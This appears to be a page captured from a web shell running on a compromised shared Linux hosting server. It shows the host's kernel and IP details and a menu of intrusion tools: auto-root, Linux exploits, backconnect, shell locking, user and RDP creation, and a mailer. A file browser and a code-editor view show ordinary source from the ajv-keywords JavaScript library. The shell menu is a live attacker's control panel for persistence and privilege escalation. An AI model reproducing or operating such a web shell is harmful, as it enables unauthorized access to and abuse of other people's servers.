Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
ajv-keywords /
keywords /
[ HOME SHELL ]
Name
Size
Permission
Action
dot
[ DIR ]
drwxr-xr-x
dotjs
[ DIR ]
drwxr-xr-x
_formatLimit.js
2.25
KB
-rw-r--r--
_util.js
402
B
-rw-r--r--
allRequired.js
474
B
-rw-r--r--
anyRequired.js
531
B
-rw-r--r--
deepProperties.js
1.33
KB
-rw-r--r--
deepRequired.js
1.26
KB
-rw-r--r--
dynamicDefaults.js
1.96
KB
-rw-r--r--
formatMaximum.js
70
B
-rw-r--r--
formatMinimum.js
70
B
-rw-r--r--
index.js
770
B
-rw-r--r--
instanceof.js
1.3
KB
-rw-r--r--
oneRequired.js
531
B
-rw-r--r--
patternRequired.js
412
B
-rw-r--r--
prohibited.js
544
B
-rw-r--r--
range.js
985
B
-rw-r--r--
regexp.js
959
B
-rw-r--r--
select.js
2.16
KB
-rw-r--r--
switch.js
817
B
-rw-r--r--
transform.js
2.1
KB
-rw-r--r--
typeof.js
818
B
-rw-r--r--
uniqueItemProperties.js
1.8
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : uniqueItemProperties.js
'use strict'; var SCALAR_TYPES = ['number', 'integer', 'string', 'boolean', 'null']; module.exports = function defFunc(ajv) { defFunc.definition = { type: 'array', compile: function(keys, parentSchema, it) { var equal = it.util.equal; var scalar = getScalarKeys(keys, parentSchema); return function(data) { if (data.length > 1) { for (var k=0; k < keys.length; k++) { var i, key = keys[k]; if (scalar[k]) { var hash = {}; for (i = data.length; i--;) { if (!data[i] || typeof data[i] != 'object') continue; var prop = data[i][key]; if (prop && typeof prop == 'object') continue; if (typeof prop == 'string') prop = '"' + prop; if (hash[prop]) return false; hash[prop] = true; } } else { for (i = data.length; i--;) { if (!data[i] || typeof data[i] != 'object') continue; for (var j = i; j--;) { if (data[j] && typeof data[j] == 'object' && equal(data[i][key], data[j][key])) return false; } } } } } return true; }; }, metaSchema: { type: 'array', items: {type: 'string'} } }; ajv.addKeyword('uniqueItemProperties', defFunc.definition); return ajv; }; function getScalarKeys(keys, schema) { return keys.map(function(key) { var properties = schema.items && schema.items.properties; var propType = properties && properties[key] && properties[key].type; return Array.isArray(propType) ? propType.indexOf('object') < 0 && propType.indexOf('array') < 0 : SCALAR_TYPES.indexOf(propType) >= 0; }); }
Close